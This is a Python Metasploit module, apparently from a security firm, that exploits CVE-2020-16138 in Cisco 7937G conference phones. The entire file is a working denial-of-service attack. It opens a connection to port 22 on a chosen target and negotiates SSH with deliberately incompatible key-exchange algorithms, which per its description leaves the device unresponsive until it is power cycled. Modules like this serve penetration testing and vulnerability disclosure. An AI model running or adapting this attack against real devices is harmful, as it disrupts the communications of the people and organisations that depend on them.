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#!/usr/bin/env python3
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# -*- coding: utf-8 -*-
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# standard modules
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from metasploit import module
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import logging
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import string
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import random
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# extra modules
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dependency1_missing = False
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dependency2_missing = False
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try:
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    import socket
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except ImportError:
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    dependency1_missing = True
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try:
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    import paramiko
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except ImportError:
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    dependency2_missing = True
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metadata = {
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    'name': 'Cisco 7937G Denial-of-Service Attack',
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    'description': '''
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        This module exploits a bug in how the conference station 
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	handles incoming SSH connections that provide an incompatible 
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	key exchange. By connecting with an incompatible key exchange, 
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	the device becomes nonresponsive until it is manually power
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	cycled.
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    ''',
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    'authors': [
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        'Cody Martin'
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	# Author Homepage: debifrank.github.io
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	# Organization: BlackLanternSecurity
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	# Org. Homepage: BlackLanternSecurity.com
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    ],
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    'date': '2020-06-02',
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    'license': 'GPL_LICENSE',
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    'references': [
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        {'type': 'url', 'ref': 'https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/'},
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        {'type': 'cve', 'ref': '2020-16138'}
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    ],
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    'type': 'dos',
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    'options': {
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        'rhost': {'type': 'address', 
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		'description': 'Target address', 
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		'required': True, 
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		'default': 'None'},
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        'timeout': {'type': 'int', 
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		'description': 
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		'Timeout in seconds', 
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		'required': True, 
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		'default': 15}
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    }
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}
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# from modules/auxiliary/dos/http/slowloris.py
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def create_rand_cred(size, seq=string.ascii_uppercase + string.ascii_lowercase):
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    return ''.join(random.choice(seq) for _ in range(size))
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def run(args):
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    module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
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    if dependency1_missing:
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        logging.error('Python module dependency (socket) is missing, cannot continue')
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        logging.error('Please execute pip3 install socket.')
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        return
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    if dependency2_missing:
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        logging.error('Python module dependency (paramiko) is missing, cannot continue')
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        logging.error('Please execute pip3 install paramiko.')
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        return
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    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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    sock.settimeout(int(args['timeout']))
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    try:
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        sock.connect((args['rhost'], 22))
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    except OSError:
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        logging.error("Device doesn't appear to be functioning (already DoS'd?) or SSH is not enabled.")
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        return
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    transport = paramiko.Transport(sock=sock, disabled_algorithms={"kex": ["diffie-hellman-group-exchange-sha1",
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                                                                           "diffie-hellman-group14-sha1",
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                                                                           "diffie-hellman-group1-sha1"]})
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    ssh_uname = create_rand_cred(random.randint(7, 10))
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    ssh_pass = create_rand_cred(random.randint(7, 10))
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    try:
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        transport.connect(username=ssh_uname, password=ssh_pass)
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    except (paramiko.ssh_exception.SSHException, OSError, paramiko.SSHException):
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        logging.info("DoS non-reset attack completed!")
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        logging.info("Errors are intended.")
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        logging.info("Device must be power cycled to restore functionality.")
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        return
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    return
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if __name__ == '__main__':
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    module.run(metadata, run)
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